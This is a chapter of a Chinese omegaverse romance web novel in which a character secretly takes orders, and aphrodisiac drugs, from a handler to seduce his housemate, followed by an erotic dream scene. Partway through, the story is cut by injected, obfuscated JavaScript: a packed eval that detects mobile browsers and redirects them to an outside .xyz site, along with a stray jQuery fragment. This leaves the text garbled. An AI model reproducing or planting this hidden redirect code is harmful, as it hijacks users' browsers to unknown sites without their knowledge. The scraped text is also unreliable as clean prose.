8. 走到人群中去

作品:《嘴硬A和白月光先婚后爱了

    邯知手上托着一只土黄色小狗举给他看:“嘟嘟,来给漂亮哥哥打个招呼。”


    小狗黑亮的眼睛看着他,懵懵懂懂地叫了一声:“汪。”


    好小的崽崽,湿润的鼻头,尾巴摇来晃去。


    “之前捡的一条流浪狗生的宝宝,可爱吧。”邯知说,“姨姨给它喂得胖乎乎的。来摸摸,摸摸。”


    问自闲感受温热的小狗体温,软软的毛发,有点爱不释手了:“好乖,好像在摸一块糯米糍。”


    邯知笑吟吟地看他。


    和老板娘告别后,邯知居然还惦记着购物一事,车停好后,两人在路口等红绿灯。


    经过的车按动喇叭,小摊贩的叫卖嘹亮,附近的学校打铃了,许多穿着校服的学生骑着单车从旁边飞驰。


    形形色色的人们,如水流自由来去,在城市中擦肩而过,喧闹的声音,食物的香气,混杂交织在一起。


    邯知凑在问自闲耳边问:“什么感觉?”


    问自闲疑惑地嗯了一声。


    邯知主动牵起他的手,手掌宽大,温暖而干燥:“你看。”


    他并没有转头,湛蓝的眼睛直视前方道路。绿灯亮起后,斑马线两侧的人群相向而行,一个小女孩牵着一个粉色兔子气球,稚嫩的声音喊着身旁的大人:“妈妈看!兔兔飞到天上去啦。”


    过路人纷纷抬头看那只卡通兔子,脸上露出了和看到春天新发的叶芽一样,因为美好的事情而动容的表情。


    一旁有高中生唉声叹气:“这次考试应该不太好,我完蛋了。”


    同伴戳戳她的手臂:“没关系,天塌下来还有兔子顶着呢。”


    两人又笑笑闹闹地走了。


    邯知用一种谈论今天晴天雨天的语气说:“走到人群中去,并没有那么困难嘛。”


    问自闲的手掌偏凉,邯知第一次主动牵别人的手,心里紧张得直打鼓,面上却一派镇定,甚至还能若无其事地走到小摊上买了个气球,递到Omega手里:“喏,现在你也有会飞的小兔子了。”


    问自闲一手被他牵着,一手牵着气球,手指在气球线上绕了两圈,歪头凝视着身旁的Alpha:“这是在做什么?”


    “安慰我吗?”他笑了起来,手掌温柔地变换姿态,十指相扣:“有你陪着,没有兔子也没关系。”


    邯知只觉得整条手臂都酥麻僵硬起来,他严肃地声明:“别说这种话,我们只是朋友关系。”


    问自闲狡黠地反问:“这话有什么不对?”


    邯知又不说话了。


    他们牵了整晚的手,互相分享体温,像一对真正的恋人一样肩并肩穿梭在货架之间,挑选商品,直到回家才分开。


    两人把采购的东西整理好,邯知想起手环,信心满满地查看数据,随即却又大受打击,十分失望地弯下嘴角。


    问自闲也看向自己的手腕:“牵手收集的信息素确实比较少,如果你不介意的话——”


    Omega凑近他,邯知好像嗅到了若有若无的雪山气息:“要不要一起睡?”


    邯知:“?”


    他不可置信地张大了眼睛,压低声音问:“你疯了!我是Alpha啊。”


    问自闲好整以暇地看他,又要去牵他的手:“和朋友一起睡怎么了?邯知,反正你光明磊落,问心无愧。”


    邯知像是被烫到一样躲开了。脸红耳热片刻后,看到Omega明显的调笑姿态又觉得不甘心,想扳回一局,于是一手撑着沙发靠背,俯身在他面前:“真那么放心我,万一被我……标记了也没关系吗?”


    Alpha嗓音低沉,刻意收敛了笑意,不笑时更衬得五官俊朗,利落的线条分割光影,眼睛深深凝视着面前的人,简直比贝尔加湖还要美丽。


    如果忽略他脸上的红晕的话,或许有那么几分纨绔少爷浪迹情场的神情。


    问自闲怎么会被他唬到,好笑地看他通红的耳垂,作势要撕开后颈上的抑制贴:“你来呀。”


    毫无悬念的,邯知落荒而逃了。


    留下问自闲一个人坐在沙发上,看着他仓皇的背影暗自发笑。


    大厅的水晶吊灯经过人工精细打磨,细细分出棱形的切面,由吊链链接彼此,无数剔透、闪光的坠子,宛如天神将落未落的眼泪。


    问自闲静坐了会,渐渐收敛了笑意。他从沙发上站起来,抬头看了眼三楼的位置。邯知的房间紧闭着门。


    逗小孩确实很有意思。问自闲心想。


    回到二楼后,他将门关合,仔细锁上,站在窗台前点开通讯录,拨出一个号码。


    如果邯知在这里的话,就会发现这根本不是他之前帮问自闲买回来的手机。


    前两次电话都被挂断了,第三次拨出,响过几声铃后,终于接通了。那边很谨慎地没有出声,问自闲看着外面的花园和草坪,手指在窗台轻扣,低低地说:“是我。”


    电话那头的声音显然经过特殊处理,听不出原本的声音,像金属磕碰般古怪:“东西拿到了吗?”


    “嗯。”问自闲说:“十二支,清点过了。”


    电话那头:“很好。你今天的信息素水平报告我看了,比预想的要稳定得多。不要着急,等三天后代谢完再使用二期药。”


    “他碰你了吗?”


    “没有。”问自闲缓慢地说:“我认为邯知不是一个合适的任务对象,他戒心太重了,社会关系网广泛没有重心,很难找到切入点。”


    “你没有选择的权利。”那头古怪地笑了一下:“邯知已经是最好的人选了,再怎么说不过就是一个无所事事的Alpha,邯潭可比他难搞多了。”


    “况且,”声音停顿了一下:“身为一个Omega,他不喜欢你,你就不会勾引他吗?”


    “标红的那支有强烈催情效果,必要的时候可以使用。”


    问自闲沉默须臾:“我知道了。”


    通话结束,问自闲依旧在窗台站了好一会儿。


    他抬起头,很认真地巡视天空。邯知说在华岫可以看到星星,这里没有城市的光污染和过多的粉尘,星星的光芒得以穿越大气层,落到人类的眼睛里。


    可惜今夜的星星不肯见他,他找了很久,最后放弃了。转身走回房间,一眼便瞧见那只粉红色的兔子气球眨着大眼睛贴着天花板到处晃悠,时不时转个圈,倒真有几分兔子的淘气。


    问自闲看着那只兔子,嘴角终于流露出细微的笑意。


    这时候又觉得看不见星星也没关系,因为天上还有小兔子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877528|159641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可以看呢。


    *


    邯知没有兔子看。


    他躺在床上翻来覆去,有些难以入眠。


    床头的台灯色调暖黄,空调工作发出轻微的声响,邯知一手覆在脸上,此刻红晕尽褪,大脑却仍旧处于一种眩晕状态。


    想点别的吧,比如明天做什么早餐,健康的三明治还是小米粥,花园里的灌木丛是不是又该修剪了,最近还是不要下雨,否则蚯蚓要爬上草坪……


    半梦半醒,正要入睡的那一刹那,咔哒一声,门被打开了。


    借着微弱的光线,门口一道消瘦的身影显得那样难以捉摸。他脚步未停,轻轻把门关合后径直朝床边走来。


    是谁?


    邯知睁开眼睛,努力想看清那人的脸,却只触碰到他冰凉的手臂。


    然后那人若无其事地上了床。


    邯知惊讶地喊他名字:“问自闲?”


    伸手要把人推开,但好像使不出一点力气。


    Omega跪坐在他腰腹上,双腿分开搭在身体两侧,隔着薄薄的夏季衣物,那里的肌肤触感格外清晰,绵软的腿根蹭着Alpha坚硬的胯骨,像托着一滩水,一不小心就要倾泄全身。


    邯知浑身都要烧起来了:“……我求你了,从我身上下来。”


    问自闲恍若未闻。


    房间里感受不到一点Omega的信息素,全是浓烈的、源源不断释放出的荔枝香气。


    好像从骨头缝里钻出来似的,无声地宣示着自己的焦躁不安,想要拥抱,想要亲吻,想要更多。


    邯知没办法赶他走,只好双手按住他的腰肢,强硬地阻止他乱动。


    好像确实有点用,问自闲好歹是安分下来了。


    邯知还没来得及松口气,身上的人动不了,便忽然俯身下来,手掌在他的脸侧极温柔、缱绻地摩挲。


    呼吸又湿又热,邯知听他含笑的嗓音贴近耳边:“宝贝,张嘴。”


    宛如被海妖的歌声蛊惑,邯知滚了下喉结,居然真的微微分开双唇。


    下一秒,问自闲吻了上来。


    邯知晕头转向,简直不知道自己现在身处何处。一面觉得这样不对,一面又忍不住沉沦,舌尖交缠间,他按住问自闲柔韧的腰身,力气越来越大,像是要把人揉进身体里。


    不知过了多久,问自闲忽然抬头躲了一下:“你咬到我了。”


    “……对不起。”邯知迷迷糊糊,继续去追他的唇角,然而又被避开了。


    “干什么。”邯知有点委屈,撑起手臂想坐起来,被问自闲的手心轻飘飘地一推,又倒下去了。“为什么不能亲?”


    “不可以。”问自闲平静地说,揉捏着Alpha的耳垂安抚他:“因为天亮了。”


    邯知猛地睁开眼睛,从梦里惊醒。


    天光大亮,光线从未拉合的窗帘缝隙中投进屋里。这是新一天的清晨,地球完成自转,另一半背对着恒星的世界从黑夜中苏醒了。


    卧室门关得好好的,被面有些褶皱但大体整洁,房间里找不出第二个人午夜来访的痕迹。


    邯知怔愣着摸了摸自己的唇角。


    他忽然意识到什么,飞快掀开被子看了一眼:“…………”


    如遭雷劈。